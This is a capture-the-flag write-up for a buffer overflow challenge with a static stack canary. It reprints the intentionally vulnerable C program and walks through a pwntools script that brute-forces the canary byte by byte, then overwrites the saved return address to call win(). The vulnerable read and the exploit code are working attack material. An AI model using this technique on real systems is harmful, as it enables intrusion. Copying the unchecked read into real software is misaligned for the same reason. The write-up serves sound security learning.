Introduction:
The final iteration of the buffer overflow series calls on us to use the general knowledge that we have acquired from the previous three challenges to execute the overflow and get the flag while attempting to circumvent a new safety precaution that stands in our way. This challenge introduces us to the concept of stack canaries.
The Challenge:
This challenge appears to implement protection one against buffer overflow attacks, known as a stack canary, and it is our job to understand what that is and find the way around it in order to secure the flag.
The Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
The main function appears to be setting up the processes to handle how the STDOUT stream is buffered, as well as setting the effective gid as we had seen in the previous challenges. After the initial set up the main() function calls a function named read_canry(). Looking at this function we can see that it checks to see that a canary file can be opened for reading, then uses fread() to read the file’s contents into the buffer global_canary, okay that’s easy enough to understand. After read_canary() finishes, main calls the vuln() function, the function we will be exploiting to trigger the buffer overflow, but how will the canary play into all this? Well, looking at the vuln function, it does some sett up of buffers, then copies the contents of the global canary into a local canary buffer before prompting for input with, “”How Many Bytes will You Write Into the Buffer?”, writes that into another buffer length, sets the variable count to that value, then we are prompted to provide our input. COUNT bytes of the input is read into the buffer buf, then the stack canary comes back into play. This is where the stack canary becomes useful in preventing an overflow attack. Here, the value of the local canary is checked against the value of the global canary with memcmp and if the values differ, the program exits… So, with the canary sitting between our goal, the saved return address, and the buffer, we will end up clobbering the canary’s contents when attempting to control the eip, how can we avoid this?
Brute Forcing The Canary:
In a 32-bit architecture, the value of the canary is composed of 4 bytes, and in our case, the canary appears to be static, or non-changing (because the canary is read from a text file) which means that we can attempt to obtain its value by brute force. The process will look something like this:
So we can fill the buffer to the brim, and when we get to where the canary is stored, try to pass 0x00, then 0x01, 0x02, all the way to 0xff. When we get an instance where the program doesn’t crash then we know that we supplied the correct byte, can save that, and try to guess the next until we have successfully leaked the value of the canary.
Keeping Track of Found Canary Bytes:
In the exploit, as we brute force the canary we are going to need to keep track of how we want to store the correct bytes. Here is the process I went through to think through that:
After some playing around, I discovered that a simple list could be used to hold out bytes and that a simple .join() method would allow us to bring it all together once we had finished. After figuring out how I could store the bytes, I moved on to see if I could get an idea of what the offset from the buffer base to the canary would be using GDB:
As you can see, no luck with this.. but in the source code above, the buffer is specified to be 64 bytes, and that will have to do.
The Exploit Part I:
from pwn import *
import struct
context.binary = ELF("./vuln", checksec=False)
context.log_level = "error"
offset = 64
new_eip = p32(0x8049336)
canary = list()
for i in range(4):
for byte in range(255):
with process() as p:
print(f"Trying {hex(byte)} at position {i}")
payload = b"".join(
[
b"A" * offset,
b"".join([c for c in canary]),
chr(byte).encode()
]
)
print(f"payload: {payload}")
#Print prompt for input length
print(p.recv())
payload_size = len(payload)
print(f"payload size: {str(payload_size)}")
p.sendline(str(payload_size).encode())
# Recieve prompt for input
print(p.recv())
response = b""
try:
p.sendline(payload)
response = p.recv()
print(response)
except Exception as ex:
print("pocess died...")
if b"***** Stack Smashing Detected *****" not in response:
print(f"I: {i}")
canary.append(chr(byte).encode())
print(f"leaking pos {i}: {canary[i]}")
break
# Canary found:
print(f"Found canary: {str(b''.join(canary))}")
In this first excerpt of the exploit, we do some setup, set the variables like offset and new_eip, where we used the same method as previous challenges to get the address of the win() function to serve as our new eip, and now we can begin taking guesses as to what the canary’s value is. After setting up the list to hold the values we find we next want to set up two loops, one to keep track of which byte we are working on, and the next to iterate through all 255 possible values. For each value we are guessing we spin up the process, and craft the payload which consists of the buffer size filled with As, the bytes that we know the canary to contain (initially nothing), and then the byte that we are guessing for this go around. The first thing that the program is going to ask us is how many bytes we are going to send, so we supply the length of our payload, byte-encoded to the program, next the program asks for our input, which in this case is the payload we crafted, and we send that byte-encoded as well. In an effort to manage the errors when the program exits and we cannot read anymore (EOF) we set up a try/except block to handle the exception and keep our output to the screen as clean as possible while sending the output and reading the response. Below the try/except block, we check to see if the response does not contain the crashing message. If this is the case then the byte that we guessed was correct! Now we can add that byte to the list of canary bytes, and break out of the inner loop to move on to the next byte. This process will continue to happen until we get the full canary, awesome!
The Exploit Part II:
Now that we understand what the canary is, we can plug that into a payload ti get the offset from the canary to the saved return address:
In this case, I chose to run the program again in GDB supplying the buffer-filler, the canary, followed by some recognizable characters, aaaabbbbccccddddeeeeffff and when the program crashes, it crashed on a segfault this time as location 0x65656565 which in ASCII is “eeee” so our offset from the canary to the “eeee” is 16 bytes.
This first go around I had supplied the payload: A * 64, the canary, c * 16, and our new eip, but nothing was happening? Turns out I had forgotten to add some extra p.recv() statments, and was missing the responses…
with process() as p:
payload = b"".join(
[
b"A" * offset,
b"".join([c for c in canary]),
b"c" * 16,
new_eip
]
)
print(f"payload: {payload}")
#Print prompt for input length
print(p.recv())
payload_size = len(payload)
print(f"payload size: {str(payload_size)}")
p.sendline(str(payload_size).encode())
# Recieve prompt for input
print(p.recv())
p.sendline(payload)
print(p.recv())
print(p.recv())
print(p.recv())
In this above go around I added some extra print(p.recv()) statements for good measure and look at this, the flag!
Conclusion:
In this challenge, we were tasked with finding a method to circumvent a static stack canary. Using what we knew previously we were able to do the recon to figure out how many bytes we needed to write to fill the buffer, then we learned that we could use computational power to take guesses at each value of the canary until we got it and could apply more knowledge to get us the flag. DISCLAIMER. I took a lot of time working on this challenge before deciding to do the write-up for it. Initially, I have been able to get my own local flag, however, the live challenge seems to take issue with the exploit that works locally. In an effort to sanity check myself I found another write-up online that claimed to get the flag and tried the exploit that they had implemented but still no dice… I tweeted at Pico CTF in an effort to get this resolved and will hopefully come back with updates. Until then, Happy Hacking!